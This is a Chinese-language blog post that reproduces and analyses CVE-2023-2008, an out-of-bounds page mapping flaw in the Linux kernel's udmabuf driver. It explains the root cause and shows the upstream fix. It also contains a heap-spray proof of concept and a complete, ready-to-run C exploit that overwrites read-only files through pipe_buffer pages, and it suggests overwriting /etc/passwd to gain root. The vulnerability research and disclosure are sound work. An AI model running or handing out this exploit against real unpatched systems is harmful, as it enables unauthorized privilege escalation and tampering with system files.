【CVE.0x0B】CVE-2023-2008 漏洞复现及简要分析

本文最后更新于:2025年1月2日 凌晨

Linus 哥你骗我们干嘛!这 DMA-BUF 他也不无敌啊!

0x00. 一切开始之前

CVE-2023-2008 是一个发生在 Linux 内核的 dma-buf 子系统/dev/udmabuf 设备驱动中的一个漏洞,由于缺乏对范围扩张后的 udmabuf::pages 的边界检查,导致攻击者可以完成越界页面指针映射,从而完成越权文件写入攻击以进行提权;该漏洞影响版本为 4.20 ~ 5.4.2015.5 ~ 5.10.1265.11~5.15.505.16 ~ 5.18.7 ,本文我们选用 5.11 版本的内核源码进行分析

在开始之前,请先在 这篇博客 当中补充一些 dma-buf 与 udmabuf 的基础知识

0x01. 漏洞分析

Root Cause

udmabuf 驱动当中,udmabuf 结构体被用以表示一份与一个 DMA-BUF 绑定的共享内存:

1
2
3
4
struct udmabuf {
pgoff_t pagecount;
struct page **pages;
};

众所周知 dma_buf 内存在用户态一般通过 mmap() 访问,当我们第一次读写 mmap()udmabuf 所给的 dma_buf 的内存时,会触发缺页异常以分配内存页,因为在创建 dma_buf 时有如下调用链:

1
2
3
4
5
6
7
ksys_ioctl()
do_vfs_ioctl()
vfs_ioctl()
filp->f_op->unlocked_ioctl() /* udmabuf_misc.fops = &udmabuf_fops */
udmabuf_ioctl()
udmabuf_ioctl_create() /* 或者 list */
udmabuf_create()

udmabuf_create() 中会初始化 dma_buf 的函数表为 udmabuf_ops

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static const struct dma_buf_ops udmabuf_ops = {
.map_dma_buf = map_udmabuf,
.unmap_dma_buf = unmap_udmabuf,
.release = release_udmabuf,
.map = kmap_udmabuf,
.unmap = kunmap_udmabuf,
.mmap = mmap_udmabuf,
};

static long udmabuf_create(const struct udmabuf_create_list *head,
const struct udmabuf_create_item *list)
{
DEFINE_DMA_BUF_EXPORT_INFO(exp_info);

/* ... */

exp_info.ops = &udmabuf_ops;
exp_info.size = ubuf->pagecount << PAGE_SHIFT;
exp_info.priv = ubuf;
exp_info.flags = O_RDWR;

mmap_udmabuf() 当中为 mmap 对应的 vm_area_struct 配置了函数表 udmabuf_vm_ops

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static const struct vm_operations_struct udmabuf_vm_ops = {
.fault = udmabuf_vm_fault,
};

static int mmap_udmabuf(struct dma_buf *buf, struct vm_area_struct *vma)
{
struct udmabuf *ubuf = buf->priv;

if ((vma->vm_flags & (VM_SHARED | VM_MAYSHARE)) == 0)
return -EINVAL;

vma->vm_ops = &udmabuf_vm_ops;
vma->vm_private_data = ubuf;
return 0;
}

因此在缺页异常时最终会调用到 udmabuf_vm_fault() 函数,从 udmabuf::pages 中取出对应的内存页:

1
2
3
4
5
6
7
8
9
static vm_fault_t udmabuf_vm_fault(struct vm_fault *vmf)
{
struct vm_area_struct *vma = vmf->vma;
struct udmabuf *ubuf = vma->vm_private_data;

vmf->page = ubuf->pages[vmf->pgoff];
get_page(vmf->page);
return 0;
}

注意到 udmabuf_vm_fault() 函数并未对 vmf->pgoff 的大小进行检查,这是因为 dma-bufmmap() 路径会调用到 dma_buf_mmap_internal() ,在其中会先进行范围检查后再调用 dmabuf->ops->mmap() ,因此在 正常读写 的情况下并不会超出 udmabuf::pages 的范围:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static int dma_buf_mmap_internal(struct file *file, struct vm_area_struct *vma)
{
struct dma_buf *dmabuf;

if (!is_dma_buf_file(file))
return -EINVAL;

dmabuf = file->private_data;

/* check if buffer supports mmap */
if (!dmabuf->ops->mmap)
return -EINVAL;

/* check for overflowing the buffer's size */
if (vma->vm_pgoff + vma_pages(vma) >
dmabuf->size >> PAGE_SHIFT)
return -EINVAL;

return dmabuf->ops->mmap(dmabuf, vma);
}

static const struct file_operations dma_buf_fops = {
/* ... */
.mmap = dma_buf_mmap_internal,

但这存在一个问题—— mmap() 所映射的区域是可以被扩展(expand)和收缩(shrink)的,这一般可以通过 mremap() 系统调用完成:

mremap() 可以改变一个 vm_area_struct 的地址空间大小,而这个功能默认开启,若要限制则需要在 mmap 时为 vm_area_struct::vm_flags 添加 VM_DONTEXPAND 标志位

kcov_mmap() 为例:

1
2
3
4
static int kcov_mmap(struct file *filep, struct vm_area_struct *vma)
{
/* ... */
vma->vm_flags |= VM_DONTEXPAND;

udmabufmmap() 路径上 并未为 vm_area_struct 添加任何限制,这意味着可以直接用 mremap 改变内存块的大小 ——这意味着 mmap 区域的缺页异常 可以超出 udmabuf::pages 的范围,将其相邻内存上的数据看作一个 page 指针进行映射 ——即存在越界读写漏洞

Proof-Of-Concept

现在我们来进行漏洞验证,我们首先在 udmabuf::pages 旁边堆喷一大堆的垃圾数据,之后再使用 mremap() 扩展 mmap() 区域,随后读写 mmap() 区域以触发缺页异常来触发内核越界读写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/udmabuf.h>
#include <sched.h>

#define SOCKET_NUM 8
#define SK_BUFF_NUM 4
#define UDMA_PAGE_NR 128

int init_socket_array(int sk_socket[SOCKET_NUM][2])
{
/* socket pairs to spray sk_buff */
for (int i = 0; i < SOCKET_NUM; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
printf("[x] failed to create no.%d socket pair!\n", i);
return -1;
}
}

return 0;
}

int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++) {
for (int j = 0; j < SK_BUFF_NUM; j++) {
if (write(sk_socket[i][0], buf, size) < 0) {
printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
return -1;
}
}
}

return 0;
}

void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void proof_of_concept(void)
{
int dma_fd, dev_fd, mem_fd;
char *udma_buf, buf[0x1000];
struct udmabuf_create info;
int sk_socket[SOCKET_NUM][2];

/* prepare stage */

puts("[*] Preparing...");

bind_core(0);

if (init_socket_array(sk_socket) < 0) {
perror("Unable to create socket for heap spray");
exit(EXIT_FAILURE);
}

mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
if (mem_fd < 0) {
perror("Failed to create mem_fd");
exit(EXIT_FAILURE);
}

if (ftruncate(mem_fd, 0x1000 * UDMA_PAGE_NR) < 0) {
perror("Failed to change size of mem_fd");
exit(EXIT_FAILURE);
}

if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0) {
perror("Failed to seal mem_fd");
exit(EXIT_FAILURE);
}

dev_fd = open("/dev/udmabuf", O_RDWR);
if (dev_fd < 0) {
perror("Failed to open udmabuf dev file");
exit(EXIT_FAILURE);
}

strcpy(buf, "arttnba3");

/* first heap spray */

puts("[*] Spraying sk_buff...");

if (spray_sk_buff(sk_socket, buf, UDMA_PAGE_NR * sizeof(void*) - 512) < 0) {
perror("Failed to do the heap spray");
exit(EXIT_FAILURE);
}

/* allocate udmabuf::pages */

puts("[*] Allocating udmabuf...");

memset(&info, 0, sizeof(info));
info.memfd = mem_fd;
info.size = 0x1000 * UDMA_PAGE_NR;

dma_fd = ioctl(dev_fd, UDMABUF_CREATE, &info);
if (dma_fd < 0) {
perror("Failed to create dma_buf");
exit(EXIT_FAILURE);
}

/* second heap spray */

puts("[*] Spraying sk_buff...");

if (spray_sk_buff(sk_socket, buf, UDMA_PAGE_NR * sizeof(void*) - 512) < 0) {
perror("Failed to do the heap spray");
exit(EXIT_FAILURE);
}

/* mmap stage */

puts("[*] MMAP and MREMAP udmabuf...");

udma_buf = mmap(
NULL,
0x1000 * UDMA_PAGE_NR,
PROT_READ | PROT_WRITE,
MAP_FILE | MAP_SHARED,
dma_fd,
0
);
if (udma_buf == MAP_FAILED) {
perror("Failed to map dma_fd");
exit(EXIT_FAILURE);
}

udma_buf = mremap(
udma_buf,
0x1000 * UDMA_PAGE_NR,
0x1000 * (UDMA_PAGE_NR + 1),
MREMAP_MAYMOVE
);
if (udma_buf == MAP_FAILED) {
perror("Failed to mremap dma_buf area");
exit(EXIT_FAILURE);
}

/* trigger out-of-bound vulnerabilities */
puts("[*] Triggering...");
*(size_t*) &udma_buf[0x1000 * UDMA_PAGE_NR] = *(size_t*) "arttnba3";
}

int main(int argc, char **argv, char **envp)
{
proof_of_concept();
return 0; /* never arrive here... */
}

成功让内核尝试将我们的垃圾数据作为 struct page* 指针进行映射:

0x02. 漏洞利用

越界映射 pipe_buffer::page 完成文件越权读写

有了将越界数据作为 struct page 指针进行使用的权能,接下来我们考虑如何进行漏洞利用,我们不难想到的是可以将开头原生有着合法 struct page 指针的结构体作为 victim object ,而其中不难想到的是 struct pipe_buffer

1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

而想到 pipe_buffer ,我们不难想到 CVE-2022-0847 ,即 dirty pipe 这一利用手法——通过 spice 系统调用将 pipe_buffer::page 映射为只读文件内容,从而完成越权写入操作

  • 首先堆喷 pipe_buffer
  • 接下来分配 udmabuf::pages
  • 再堆喷 pipe_buffer ,从而确保能够将 udmabuf::pagespipe_buffer 包围
  • 通过 splice 系统调用映射只读文件到 pipe_buffer::page
  • 通过漏洞映射 pipe_buffer::page 页面并改写内容

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/udmabuf.h>
#include <sched.h>
#include <errno.h>

#define PIPE_SPRAY_NR 128
#define UDMA_PAGE_NR 128

int prepare_pipe(int pipe_fd[PIPE_SPRAY_NR][2])
{
int err;

for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if ((err = pipe(pipe_fd[i])) < 0) {
printf("[x] failed to alloc %d pipe!", i);
return err;
}
}

return 0;
}

ssize_t splice_pipe(int pipe_fd[PIPE_SPRAY_NR][2], int victim_fd)
{
ssize_t err;
loff_t offset;

for (int i = 0; i < PIPE_SPRAY_NR; i++) {
offset = 0;
if ((err = splice(victim_fd, &offset, pipe_fd[i][1], NULL, 0x1000, 0)) < 0){
printf("[x] failed to splice %d pipe!", i);
return err;
}
}

return 0;
}

void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void proof_of_concept(char *target_file, char *content)
{
int dma_fd, dev_fd, mem_fd, victim_fd;
char *udma_buf, buf[0x1000];
struct udmabuf_create info;
int pipe_fd1[PIPE_SPRAY_NR][2], pipe_fd2[PIPE_SPRAY_NR][2];

/* prepare stage */

puts("[*] Preparing...");

bind_core(0);

mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
if (mem_fd < 0) {
perror("Failed to create mem_fd");
exit(EXIT_FAILURE);
}

if (ftruncate(mem_fd, 0x1000 * UDMA_PAGE_NR) < 0) {
perror("Failed to change size of mem_fd");
exit(EXIT_FAILURE);
}

if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0) {
perror("Failed to seal mem_fd");
exit(EXIT_FAILURE);
}

dev_fd = open("/dev/udmabuf", O_RDWR);
if (dev_fd < 0) {
perror("Failed to open udmabuf dev file");
exit(EXIT_FAILURE);
}

victim_fd = open(target_file, O_RDONLY);
if (victim_fd < 0) {
perror("Failed to open target victim file");
exit(EXIT_FAILURE);
}

strcpy(buf, "arttnba3");

/* first heap spray */

puts("[*] Spraying pipe_buffer...");

if (prepare_pipe(pipe_fd1) < 0) {
perror("Failed to spray pipe_buffer");
exit(EXIT_FAILURE);
}

/* allocate udmabuf::pages */

puts("[*] Allocating udmabuf...");

memset(&info, 0, sizeof(info));
info.memfd = mem_fd;
info.size = 0x1000 * UDMA_PAGE_NR;

dma_fd = ioctl(dev_fd, UDMABUF_CREATE, &info);
if (dma_fd < 0) {
perror("Failed to create dma_buf");
exit(EXIT_FAILURE);
}

/* second heap spray */

puts("[*] Spraying pipe_buffer...");

if (prepare_pipe(pipe_fd2) < 0) {
perror("Failed to spray pipe_buffer");
exit(EXIT_FAILURE);
}

/* mmap udmabuf stage */

puts("[*] MMAP and MREMAP udmabuf...");

udma_buf = mmap(
NULL,
0x1000 * UDMA_PAGE_NR,
PROT_READ | PROT_WRITE,
MAP_FILE | MAP_SHARED,
dma_fd,
0
);
if (udma_buf == MAP_FAILED) {
perror("Failed to map dma_fd");
exit(EXIT_FAILURE);
}

udma_buf = mremap(
udma_buf,
0x1000 * UDMA_PAGE_NR,
0x1000 * (UDMA_PAGE_NR + 1),
MREMAP_MAYMOVE
);
if (udma_buf == MAP_FAILED) {
perror("Failed to mremap dma_buf area");
exit(EXIT_FAILURE);
}

/* splicing pipe_buffer */
if (splice_pipe(pipe_fd1, victim_fd) < 0) {
perror("Failed to splice target fd");
exit(EXIT_FAILURE);
}

if (splice_pipe(pipe_fd2, victim_fd) < 0) {
perror("Failed to splice target fd");
exit(EXIT_FAILURE);
}

/* trigger out-of-bound vulnerabilities */
puts("[*] Triggering...");
strcpy((void*) &udma_buf[0x1000 * UDMA_PAGE_NR], content);

/* enjoy :) */
}

int main(int argc, char **argv, char **envp)
{
if (argc < 3) {
puts("[x] Usage: ./exploit target_file_path content");
exit(EXIT_FAILURE);
}

proof_of_concept(argv[1], argv[2]);

return 0;
}

运行,成功修改只读文件:

有了越权文件读写的权能,在实战当中能够玩的花样就多很多了,例如通过覆写 /etc/passwd 完成提权:)

需要注意的是,pipe_buffer 所使用的分配 flag 为 GFP_KERNEL_ACCOUNT ,在 5.9 ~ 5.14 这个内核版本范围外会使得其与 udmabuf::pages 分配自两个不同的 kmem_cache ,因此若是要在这些版本中利用该漏洞,则你可能需要一些 cross-cache overflow 与内核堆风水的技巧

0x03. 漏洞修复

这个漏洞最终在 这个 commit 当中被修复,修复方式是在 udmabuf_vm_fault() 当中添加了一个范围检查,笔者个人的感觉是 虽然漏洞是修复了但是修的挺简陋的,不够优雅,因为在笔者看来还应该在 mremap 的调用链当中加入范围检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
diff --git a/drivers/dma-buf/udmabuf.c b/drivers/dma-buf/udmabuf.c
index e7330684d3b824..9631f2fd2faf7f 100644
--- a/drivers/dma-buf/udmabuf.c
+++ b/drivers/dma-buf/udmabuf.c
@@ -32,8 +32,11 @@ static vm_fault_t udmabuf_vm_fault(struct vm_fault *vmf)
{
struct vm_area_struct *vma = vmf->vma;
struct udmabuf *ubuf = vma->vm_private_data;
+ pgoff_t pgoff = vmf->pgoff;

- vmf->page = ubuf->pages[vmf->pgoff];
+ if (pgoff >= ubuf->pagecount)
+ return VM_FAULT_SIGBUS;
+ vmf->page = ubuf->pages[pgoff];
get_page(vmf->page);
return 0;
}

【CVE.0x0B】CVE-2023-2008 漏洞复现及简要分析
https://arttnba3.github.io/2024/12/31/CVE-0X0B-CVE-2023-2008/
作者
arttnba3
发布于
2024年12月31日
许可协议